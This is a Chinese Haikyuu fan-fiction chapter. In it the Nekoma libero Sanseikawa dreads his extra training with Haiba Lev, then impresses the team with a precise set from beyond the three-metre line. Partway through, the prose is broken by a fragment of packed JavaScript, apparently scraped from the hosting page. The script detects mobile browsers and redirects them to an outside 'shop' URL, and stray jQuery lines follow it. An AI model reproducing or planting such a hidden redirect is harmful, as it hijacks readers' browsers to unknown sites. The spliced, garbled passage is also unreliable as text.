…
“再来。”
“再来一个!”
“再来一个嘛,三世川!”
!!!!
三世川弥心猛然惊醒。
噩梦、这绝对是噩梦吧…
此时窗外的天蒙蒙亮,阳光透过窗帘的缝隙照了进来。
但是阳光却丝毫驱散不了他心底的绝望。
灰羽列夫那双亮晶晶的眼睛,和那句十分难缠的“再来一个!”在他脑海里一遍又一遍回放。
此时他的心脏还在胸腔里砰砰砰地乱跳。
三世川弥心撑起身体坐在床上,目光呆滞。
好恐怖…
如此艰难且令人绝望的训练之后居然还有九次吗…?
他又重重向后倒回床上,红色卷发随着动作散乱开来,
眼神空洞地盯着天花板。
……干脆就这样直接躺到世界终结算了。
这简直就是一场慢性折磨,仅仅是结束了一次,他的内心就已经在思考之后的几次会不会突然在球场上倒地GG,达成被灰羽列夫单杀的结局。
他睁着眼放空了许久后,闹钟响了。
三世川最终还是挣扎着爬了起来去洗漱。
他现在只剩下了被训练和噩梦双重摧残后满满的疲惫。
。
一想到社团训练完还有这种酷刑在等着自己,三世川走向教室的脚步都不自觉得沉重了几分。
教室里还算安静,目前没有什么人。
三世川弥心径直走到自己的座位,二话不说趴在了桌上。
他想用睡觉来逃避一切。
…
但是还没过多久,
一道灼热到无法忽视的视线,就直直地钉在了他的背上。
那道目光实在太过直白,
每一寸都透出“想要快点开始秘密训练”、“好想再次扣球”的兴奋。
三世川死死绷着后背,他甚至把呼吸都放轻了。
根本不敢回头。
其实他睡着了才对,他还在睡觉。
灰羽列夫绝对没有在看他,
他看不到他,他也看不到他…
他在心里一遍又一遍地自我催眠,试图强迫自己入睡,可那灼灼的视线令他实在是坐立难安。
有没有人能来救救他…..三世川在心底无声呐喊。
。
终于艰难的熬过了上课时间。
放学后,音驹排球部的众人于体育馆齐聚。
三世川站在队尾,半垂着眼睛,依旧是那副恹恹的模样。他的发色和之前相比看起来更加黯淡了,像是饱经摧残了一样。
旁边的灰羽列夫完全是另一副样子。他脖子伸得长长的,视线一直在往门口的方向瞟着。
“怎么还不来怎么还不来怎么还不来……”嘴里念念有词。
这是因为刚刚猫又教练说要去为他们两个准备队服,而这家伙已经迫不及待了。
山本猛虎在旁边看得好笑。
“列夫,你这是在等女朋友吗?”他调侃说道。
灰羽列夫反应了会儿后,他的脸一下红了,“才不是!”
也是终于安分了一些。
过了片刻猫又教练走了进来,他身后跟着黑尾铁朗。
黑尾抱着一个纸箱,里面是他们的队服。
音驹的队服以红色为主调,领口镶着利落的黑色线条。
而自由人则是相反的白色。
。
三世川和灰羽应教练的要求穿上,来查看尺寸有没有什么不合适的地方。
三世川穿着队服,凌乱的红色卷毛与白色队服形成鲜明对比,明明是清爽的配色,但落在他身上却显出一种慵懒又颓丧的气质。
黑尾在旁边看着这一幕,突然笑了起来。
“还好三世川是自由人。”他说。
所有人都看向了他。
黑尾继续说道:“你们想想,如果他穿主场红色队服的话那岂不是要从头红到尾?”
山本猛虎先是一怔,随即反应了过来,笑得整个人都弯下了腰,犬冈走也在一旁跟着笑出声。
三世川听到了他们的调侃,也认真的思考了一下他全身都是红色的画面。
简直就是灾难吧…
他把队服整理服帖后收回手上的动作,身后那道热切的视线就又一次缠了上来。
“三世川——!”
灰羽列夫的声音里藏着一种按捺不住的激动,一身红色主场队服穿在他身上衬得身形愈发挺拔。
“刚好我们来一次那个,让大家来看看我们的特训成果吧!”
本来还在说笑的音驹众人,一下被这里的动静吸引了视线。
听到这些,
黑尾铁朗抱着手臂,饶有兴致地挑了挑眉。孤爪研磨的视线也落在了他们身上。
三世川垂着眼,指尖无意识地蹭了蹭衣角,他感到全身上下每一个细胞都在发出悲鸣。
可灰羽列夫根本没有给他退缩的机会。
直接把不知道从哪里拿来的排球塞到了他手里,然后转身就往排球场内跑去。
三世川盯着球看了几秒,他沉默片刻,最终还是下定决心缓缓迈步走到了孤爪研磨面前。
“孤爪前辈,可以帮我们发个球吗。”他告诉了孤爪研磨具体的发球范围。
孤爪研磨轻轻点了点头。
三世川走到三米线外,
他抬眼,看向已经摆好姿势的灰羽列夫。
周围安静得只剩下呼吸声。
“来了。”孤爪研磨淡淡开口。
话音落下的瞬间,球被稳稳抛出。他们看到三世川弥心先动了。
三世川的目光牢牢锁定着球的运行轨迹,脚步也在精准地调整位置。
他通过一段不长不短的助跑后,在三米线外跃起。
跳跃数值只有2的他,跳跃高度确实不算是出色。
可就是在这并不起眼的起跳里,有着他运用各类数据换来的冷静判断力。
灰羽列夫的最高点…大概是在那里吧,他的目光锁定了一处位置。
时间仿佛被拉长了一瞬。
三世川在空中稳住身体,双手精准叠成托球姿势后用指尖触到了球面。
他没有多余的动作,排球干净利落的向上托去。
“灰羽!”
一声落下,球被稳稳托向空中,弧度完美得像是经过了精密的计算。
场上所有人的视线都微微一凝。
下一刻。
灰羽列夫高高跃起,他整个人舒展成了充满爆发力的姿态,手臂狠狠挥下,正正好地打中了排球。
“砰——!”
清脆而有力的击球声猛地响起。
排球带着破风的速度笔直地坠向对面场地,“嘭”的一声重重砸在地面后弹起。
——这球,托得也太准确了。
全场安静了半秒。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17265187|198083||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>山本猛虎最先瞪圆了眼睛:“刚刚…那是自由人托的球?”
夜久也震惊到了。
“…厉害,三米线外起跳还托得那么准确。”孤爪研磨的眼睛亮起。
连猫又教练的嘴角都藏着一丝不易察觉的笑意。
看来音驹今年真是来了两个不得了的家伙。
场中。
三世川弥心和灰羽列夫相继落地。
两个身影立在网前,11、12的背号十分醒目。
三世川依旧是那副没什么精神的样子,可刚才的那一瞬间所展现出的能力已经深深印在了所有人的脑海里。
灰羽列夫转过身,眼睛亮得快要发光,
“看到了吗大家,刚刚那个超——帅的吧!!”
山本猛虎冲过来跳起,一把勾住了灰羽的脖子。
“你小子!什么时候练的这手!”明明前几天他还不怎么能扣到球,目前看来确实进步迅速啊。
灰羽被勒得直咳嗽,但脸上的笑容一点没减。
“是秘密训练哦!”
三世川弥心站在一旁,面无表情地看着眼前吵闹的一幕,心里却在默默吐槽:
秘密训练这种东西,说出口了的还能算得上是秘密吗。
周围的人忽然一齐笑了起来。
三世川弥心才后知后觉地意识到,自己原本只是在心里的吐槽,不知道什么时候已经脱口而出了。
周围的笑声蔓延开来,这些三世川平日里只觉得吵闹的声响,此时内心却奇异地没有生出厌烦。
听到他们口中那些直白的夸赞,让他在这一刻,忽然好像明白了一点排球微弱却真实的意义。
好像……也不是不可以。
和灰羽列夫继续去加练…
反正都已经被推到这一步了,
反正他也确实感受到了那么一点点微不足道的成就感,
那就…再试试看吧。
。
夜晚。
[支线任务:“逆袭吧,我们的愉悦时光!(2/10)”]
当不知道第几十次的托球送出,看着灰羽再一次完成干脆利落的扣杀后,三世川弥心再也撑不住了。
他双腿一软,整个人直直地向后倒去,摔在了微凉的地板上。
背部撞上地面发出了轻微闷响,在安静的场地里却格外清晰。
灰羽列夫慌张的跑过来,询问他的情况。
“喂。”
“喂,三世川你怎么了,别吓我。”
三世川大口大口地喘着气,胸口剧烈起伏。汗水糊了他一脸,卷发因为湿透了而凌乱地贴在额角与脸颊上,看上去狼狈又可怜。
三世川弥心空洞地望着头顶明亮的灯光,刺眼的光线让他下意识地眯了眯眼。
……果然。
他还是太高估自己了。
什么排球好像也有了点意义,在体力彻底透支的瞬间就已经全部都被他抛到了脑外。
他又在思考成为灵魂状态来打排球的可能性了,
不对,都变成灵魂了为什么他还要打排球…
“三世川!”
灰羽列夫的声音此时有些让他心烦。
“……别喊了,请让我先死一会儿。”他声音轻得仿佛随时都能被夜风吹散。
三世川缓缓闭上了眼睛。
“诶——?!你不要死啊!!!”
灰羽列夫大惊失色,
是真的失去了颜色。